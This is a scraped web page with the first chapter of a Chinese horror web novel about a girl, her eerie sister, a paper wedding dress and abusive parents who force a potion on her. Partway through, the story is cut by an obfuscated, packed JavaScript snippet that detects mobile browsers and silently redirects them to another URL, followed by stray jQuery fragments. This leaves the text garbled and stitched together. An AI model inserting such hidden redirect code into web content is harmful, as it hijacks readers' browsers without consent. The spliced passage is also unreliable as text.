默认冷灰
24号文字
方正启体

第1章 枕边的纸嫁衣

作者:蘅川本书字数:K更新时间:
    从小,我枕边就叠着一件纸扎的红嫁衣。


    爸妈说,我和我姐谁先“长大”穿上,就能先走一步,去下面享福。


    小时候我不懂事,真以为“下面”是个好地方,能过上好日子。


    于是我天天拼命地吃饭、晒太阳、蹦蹦跳跳,一心想着,就算我比姐姐小一岁,我也要反超姐姐,先她一步长高长大,穿上嫁衣离开这个家。


    之所以这么迫切,是因为我家里特别古怪。


    一年到头都吃不上一顿热饭,全是寡淡无味的冷饭冷菜。


    每次饭菜端上来,我爸妈都要在白米饭上插一支香,等香燃尽后,我们才能就着香灰拌饭吃。


    那又干又涩、冷硬难嚼的味道,几乎贯穿了我整个童年。


    除了这,爸妈还不许我们在家照镜子,不许我们碰火,更不许好奇堂屋那块被红布包裹的牌位。


    我还好,除了要守规矩,平时还算正常,能吃能睡,也能照常上学、出门去玩。


    我姐就不同了,她从来都没有出过门,整天病怏怏的,身上还散发着一股洗也洗不掉的腐臭味。


    之前我好奇,硬拽着她到院子里,刚离开屋檐,晒到天上的太阳,我姐眼里的黑眼仁就消失了,只剩下白茫茫的眼白,吓得我赶紧撒开手。


    等她退回屋里,消失的黑眼仁又慢慢浮现,除了眼神有点呆滞木讷,身上隐隐渗出一丝黑色的臭气,其他都跟常人无异。


    因为这事,我被我妈吊在房梁下打个半死。


    也是这时我才知道,我姐的眼睛有问题,不能见天光,一见天光就会出事,这才足不出户。


    从这天起,我姐就像变了个人,明明跟我不对付,却非要搬来我房里,跟我挤着睡。


    她睡觉从不翻身,也没什么呼吸,整个人轻飘飘的,躺下也没啥动静,安静得像一个纸人。


    而自从我们一起睡,噩梦就开始了……


    每晚,我都能感觉到,有一双阴森晦暗的眼睛,在黑暗中死死地盯着我们。


    一开始是在窗外,慢慢的就进屋了,透过房间的门缝往里瞧,一盯就是一整夜。


    没过多久,那“东西”就进了房间。


    一种细细索索,类似揉塑料袋的声音,一点一点朝我逼近。


    我睁不开眼,却能清晰地感觉到,有双很冷的眼睛,在我身上四处游走,似乎在嗅着什么。


    那刺骨的眼神,好几次都想生吞了我,却不知什么原因,始终没有得逞。


    我害怕极了,主动要求睡到床的里侧,让我姐睡外面。


    可第二天醒来,我还是会莫名地回到外侧。


    我问我姐怎么回事,她却一脸无辜地说她也不知道。


    就这样,我反反复复梦魇了半个月。


    这期间,我几乎没睡过好觉,整个人瘦了十斤,脸色蜡黄、眼圈乌黑,精神萎靡不振,像被人吸干了精气。


    反观我姐,红光满面,气色是一天比一天好,就连皮肤里渗出的那股腐臭味,都越发浓烈。


    这样的情况,不知不觉就持续了小半个月,我一直以为只这是个梦,直到今早——枕边的纸嫁衣上,出现了一个半干半湿的水手印。


    手掌宽大,手指修长,一看就是男人的手印。


    不敢想象这只手如果在现实中,该有多好看。


    但此刻,我根本没法思考,只觉得毛骨悚然,浑身上下透心的凉。


    我打着赤脚,飞快地把我爸妈叫过来,让他们赶紧看看。


    等我来到跟前,手印却消失了。


    纸嫁衣上平平整整,没有一丝被水浸过的痕迹。


    我惊呆了,问一旁的姐姐有没有看到。


    我姐却眼神飘忽地摇摇头,说我眼花了。


    可我就算眼花,看错了手掌印,那地上的水渍又怎么解释呢?


    这滩水臭烘烘的,有种死鱼烂虾的腥臭味,比我姐还要臭,臭得有点辣嗓子。


    见状,我爸妈先是一愣,脸色同时变得煞白,然后齐刷刷地看向了我和我姐,慌乱得不行。


    我妈拉着我爸的胳膊,急得都快哭出来:“他来了……他怎么来了……”


    我问他们,谁来了?


    谁大半夜的不睡觉,站在我床头,神经病吧!


    我爸瞪了我一眼,让我别乱讲话,然后掏出五块钱,让我去小卖部买糖吃。


    我知道,他们又有事要商量了。


    每次爸妈和我姐说事,想要支开我,就会拿钱让我去买糖。


    我向来很听话,可这次,我虽收了钱,却并没有走远,而是悄悄摸了回来,躲在了窗户底下。


    房间里,传来一串脚步声,是我妈在来回踱步。


    “不是说好了,等她长大再来吗,大丫才十四,他怎么……”我妈说不下去,呜咽地哭了出来。


    我爸也轻叹一声:“恐怕,他说的长大,跟我们说的不一样。”


    在农村,说一个女孩是不是长大,有时并不看年龄,而是看……例假!


    当女孩第一次来例假,家里人就会说,你终于长大,是大姑娘了。


    所以,爸妈问我姐是不是来例假时,我姐支支吾吾地哼了一声。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17389389|200303||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    br>“嗯,我、我流血了……”


    “啥时候的事?”我妈紧张地问。


    我姐郁闷地说:“有段时间了,就在妹妹拉我晒太阳那次,当晚我就流血了,流了好多血……”


    也就是那晚,我姐在窗户外面,看到了一张惨白又模糊的脸。


    所以,她才吓得搬过来和我一起睡。


    我妈低声骂了我几句,说我是个搅家精,成事不足败事有余的东西,一天天只会惹祸,早知道我这么手欠,当初就不该生我,就该去诊所把我拿掉。


    听到这话,我心里又酸又涩,眼泪控制不住,唰的一下涌出。


    从小,我就明显地感觉到,爸妈很讨厌我,动不动就凶我,在这个家里,我连喘气都是错。


    可对我姐,他们却喜欢得紧,恨不得把她捧在手心里。


    既然他们不爱我,当初为什么要生下我呢?


    我想不通,但很快,我就嗅到了一丝苗头。


    我妈说:“当家的,赶紧去找三姑拿药来,养了二丫这些年,终于要派上用场了……”


    她口中的二丫就是我!


    我不知道他们想干嘛,看他们神色匆匆、遮遮掩掩,一副大难临头的样子,总觉得不是啥好事。


    我心里很**,竖起耳朵想多听一点,我妈却刻意压低了嗓音,只依稀听到她提了句纸嫁衣。


    顶着一头问号,我慢慢朝小卖部走去,买了一瓶汽水,边喝边往家里走。


    刚进门,我就闻到一道烧香烧纸的味道,夹杂着一股血腥味,熏得我晕晕乎乎的。


    我妈端着一碗满符水,不知从哪儿冒了出来,劈头盖脸的一顿骂:“买个东西也磨蹭那么久,赶紧的,把这药喝了!”


    来不及拒绝,她强行把水灌进了我的嘴里。


    这碗水乌漆嘛黑的,带着一股糊味和苦味,还有点黏糊糊的铁锈味,喝得我直想吐。


    见我捧着肚子反胃打呕,我妈警告我,如果敢吐出来,她打不死我!


    听到挨打,我应激地缩了缩,硬着头皮就把水咽下。


    刚喝下五六分钟,我肚子忽然剧烈疼痛起来,仿佛有只手在里面不停地使劲搅拌。


    又像是什么活物,密密麻麻地在我肠子里乱爬。


    我痛得要命,正打算叫我妈,后背就唰的一下凉透。


    一道阴冷、怨毒的目光突然出现,恶狠狠地朝我袭来。


    伴随的那股鱼腥臭味,化成灰我都认识。


    我吓得一激灵,紧跟着肚子猛地抽搐几下,身下就涌出一股湿哒哒、黏乎乎的东西。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)